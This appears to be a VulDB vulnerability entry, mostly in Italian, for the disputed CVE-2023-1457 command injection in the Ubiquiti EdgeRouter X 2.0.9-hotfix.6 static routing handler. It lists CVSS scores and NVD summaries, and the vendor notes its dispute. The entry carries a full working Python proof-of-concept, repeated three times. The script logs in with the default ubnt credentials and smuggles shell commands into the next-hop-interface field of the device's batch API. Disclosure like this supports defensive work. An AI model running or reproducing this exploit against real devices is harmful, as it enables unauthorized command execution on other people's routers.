Ubiquiti EdgeRouter X 2.0.9-hotfix.6 Static Routing Configuration next-hop-interface escalazione di privilegi ⚔ [Contestazione]

Un punto di criticita di livello critico è stato rilevato in Ubiquiti EdgeRouter X 2.0.9-hotfix.6. Da questa vulnerabilità è interessato una funzione sconosciuta del componente Static Routing Configuration Handler. Mediante la manipolazione del parametro next-hop-interface di un input sconosciuto conseguenza di una vulerabilità di classe escalazione di privilegi. Questa vulnerabilità è identificata come CVE-2023-1457. Dalla rete può partire l'attacco. I dettagli tecnici sono conosciuti. È stato dichiarato come proof-of-concept. L'exploit è scaricabile da vuldb.com. La reale esistenza di questa vulnerabilità al momento è dubbia. Una possibile soluzione è stata pubblicata già prima e non dopo la pubblicazione della vulnerabilità.

Campo17/03/2023 08:3911/04/2023 11:5511/04/2023 12:03
vendorUbiquitiUbiquitiUbiquiti
nameEdgeRouter XEdgeRouter XEdgeRouter X
version2.0.9-hotfix.62.0.9-hotfix.62.0.9-hotfix.6
componentStatic Routing Configuration HandlerStatic Routing Configuration HandlerStatic Routing Configuration Handler
argumentnext-hop-interfacenext-hop-interfacenext-hop-interface
cwe77 (escalazione di privilegi)77 (escalazione di privilegi)77 (escalazione di privilegi)
risk222
cvss3_vuldb_avNNN
cvss3_vuldb_acLLL
cvss3_vuldb_prHHH
cvss3_vuldb_uiNNN
cvss3_vuldb_sUUU
cvss3_vuldb_cHHH
cvss3_vuldb_iHHH
cvss3_vuldb_aHHH
cvss3_vuldb_ePPP
cvss3_vuldb_rlUUU
cvss3_vuldb_rcRRR
availability111
publicity111
cveCVE-2023-1457CVE-2023-1457CVE-2023-1457
responsibleVulDBVulDBVulDB
response_summaryThe vendor position is that post-authentication issues are not accepted as vulnerabilities.The vendor position is that post-authentication issues are not accepted as vulnerabilities.The vendor position is that post-authentication issues are not accepted as vulnerabilities.
cvss2_vuldb_aiCCC
cvss2_vuldb_ePOCPOCPOC
cvss2_vuldb_rcURURUR
cvss2_vuldb_rlUUU
cvss2_vuldb_basescore8.38.38.3
cvss2_vuldb_tempscore7.17.17.1
cvss3_vuldb_basescore7.27.27.2
cvss3_vuldb_tempscore6.56.56.5
cvss3_meta_basescore7.27.28.1
cvss3_meta_tempscore6.56.57.8
date1679007600 (17/03/2023)1679007600 (17/03/2023)1679007600 (17/03/2023)
typeRouter Operating SystemRouter Operating SystemRouter Operating System
cvss2_vuldb_avNNN
cvss2_vuldb_acLLL
cvss2_vuldb_auMMM
cvss2_vuldb_ciCCC
cvss2_vuldb_iiCCC
disputed111
sourcecodeimport requests import json import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) username = 'ubnt' password = 'ubnt' device_web_ip = '192.168.1.1' ping_target = '192.168.1.5' inject_cmd = 'ping -c 1 ' + ping_target inject_cmd += ';touch /etc/test' phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c' csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6' header ={ 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '27', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1' } login_body = 'username={}&password={}'.format(username,password) login_url = 'https://{}/'.format(device_web_ip) loop = 3 r = None while loop>0: try: loop -= 1 r = requests.post(url=login_url,headers=header,data=login_body,\ timeout=5,verify=False,allow_redirects=False) if r is None or 'Set-Cookie' not in r.headers.keys(): print("Login failed.") time.sleep((3-loop)*3) else: break except Exception as e: print('Login error:{}'.format(e)) if r is None: print('Failed login,please check and retry!') exit(1) tmp:dict = requests.utils.dict_from_cookiejar(r.cookies) for k,v in tmp.items(): if 'PHPSESSID' == k: phpsessid = '{}'.format(v) elif 'X-CSRF-TOKEN' == k: csrftoken = '{}'.format(v) elif 'beaker.session.id' == k: sessionid = '{}'.format(v) cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) param = { 'SET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': {'next-hop-interface': 'eth2/index.html|{}|'.format(inject_cmd)}}}}}, 'GET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': {'next-hop-interface': {'eth2': None}}}}}}} victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip) victim_body = json.dumps(param) victim_header = { 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/json', 'X-CSRF-TOKEN': '{}'.format(csrftoken), 'X-Requested-With': 'XMLHttpRequest', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 'Sec-Fetch-Dest': 'empty', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Site': 'same-origin'} r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\ timeout=5,verify=False,allow_redirects=False) print(r.status_code)import requests import json import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) username = 'ubnt' password = 'ubnt' device_web_ip = '192.168.1.1' ping_target = '192.168.1.5' inject_cmd = 'ping -c 1 ' + ping_target inject_cmd += ';touch /etc/test' phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c' csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6' header ={ 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '27', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1' } login_body = 'username={}&password={}'.format(username,password) login_url = 'https://{}/'.format(device_web_ip) loop = 3 r = None while loop>0: try: loop -= 1 r = requests.post(url=login_url,headers=header,data=login_body,\ timeout=5,verify=False,allow_redirects=False) if r is None or 'Set-Cookie' not in r.headers.keys(): print("Login failed.") time.sleep((3-loop)*3) else: break except Exception as e: print('Login error:{}'.format(e)) if r is None: print('Failed login,please check and retry!') exit(1) tmp:dict = requests.utils.dict_from_cookiejar(r.cookies) for k,v in tmp.items(): if 'PHPSESSID' == k: phpsessid = '{}'.format(v) elif 'X-CSRF-TOKEN' == k: csrftoken = '{}'.format(v) elif 'beaker.session.id' == k: sessionid = '{}'.format(v) cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) param = { 'SET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': {'next-hop-interface': 'eth2/index.html|{}|'.format(inject_cmd)}}}}}, 'GET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': {'next-hop-interface': {'eth2': None}}}}}}} victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip) victim_body = json.dumps(param) victim_header = { 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/json', 'X-CSRF-TOKEN': '{}'.format(csrftoken), 'X-Requested-With': 'XMLHttpRequest', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 'Sec-Fetch-Dest': 'empty', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Site': 'same-origin'} r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\ timeout=5,verify=False,allow_redirects=False) print(r.status_code)import requests import json import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) username = 'ubnt' password = 'ubnt' device_web_ip = '192.168.1.1' ping_target = '192.168.1.5' inject_cmd = 'ping -c 1 ' + ping_target inject_cmd += ';touch /etc/test' phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c' csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6' header ={ 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '27', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1' } login_body = 'username={}&password={}'.format(username,password) login_url = 'https://{}/'.format(device_web_ip) loop = 3 r = None while loop>0: try: loop -= 1 r = requests.post(url=login_url,headers=header,data=login_body,\ timeout=5,verify=False,allow_redirects=False) if r is None or 'Set-Cookie' not in r.headers.keys(): print("Login failed.") time.sleep((3-loop)*3) else: break except Exception as e: print('Login error:{}'.format(e)) if r is None: print('Failed login,please check and retry!') exit(1) tmp:dict = requests.utils.dict_from_cookiejar(r.cookies) for k,v in tmp.items(): if 'PHPSESSID' == k: phpsessid = '{}'.format(v) elif 'X-CSRF-TOKEN' == k: csrftoken = '{}'.format(v) elif 'beaker.session.id' == k: sessionid = '{}'.format(v) cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) param = { 'SET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': {'next-hop-interface': 'eth2/index.html|{}|'.format(inject_cmd)}}}}}, 'GET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': {'next-hop-interface': {'eth2': None}}}}}}} victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip) victim_body = json.dumps(param) victim_header = { 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/json', 'X-CSRF-TOKEN': '{}'.format(csrftoken), 'X-Requested-With': 'XMLHttpRequest', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 'Sec-Fetch-Dest': 'empty', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Site': 'same-origin'} r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\ timeout=5,verify=False,allow_redirects=False) print(r.status_code)
price_0day$0-$5k$0-$5k$0-$5k
cve_assigned1679007600 (17/03/2023)1679007600 (17/03/2023)
cve_nvd_summary** DISPUTED ** A vulnerability, which was classified as critical, was found in Ubiquiti EdgeRouter X 2.0.9-hotfix.6. Affected is an unknown function of the component Static Routing Configuration Handler. The manipulation of the argument next-hop-interface leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The real existence of this vulnerability is still doubted at the moment. VDB-223302 is the identifier assigned to this vulnerability. NOTE: The vendor position is that post-authentication issues are not accepted as vulnerabilities.** DISPUTED ** A vulnerability, which was classified as critical, was found in Ubiquiti EdgeRouter X 2.0.9-hotfix.6. Affected is an unknown function of the component Static Routing Configuration Handler. The manipulation of the argument next-hop-interface leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The real existence of this vulnerability is still doubted at the moment. VDB-223302 is the identifier assigned to this vulnerability. NOTE: The vendor position is that post-authentication issues are not accepted as vulnerabilities.
cvss3_nvd_avN
cvss3_nvd_acL
cvss3_nvd_prN
cvss3_nvd_uiN
cvss3_nvd_sU
cvss3_nvd_cH
cvss3_nvd_iH
cvss3_nvd_aH
cvss2_nvd_avN
cvss2_nvd_acL
cvss2_nvd_auM
cvss2_nvd_ciC
cvss2_nvd_iiC
cvss2_nvd_aiC
cvss3_cna_avN
cvss3_cna_acL
cvss3_cna_prH
cvss3_cna_uiN
cvss3_cna_sU
cvss3_cna_cH
cvss3_cna_iH
cvss3_cna_aH
cve_cnaVulDB
cvss2_nvd_basescore8.3
cvss3_nvd_basescore9.8
cvss3_cna_basescore7.2

◂ PrecedenteVisione D'insiemeIl prossimo ▸

Might our Artificial Intelligence support you?

Check our Alexa App!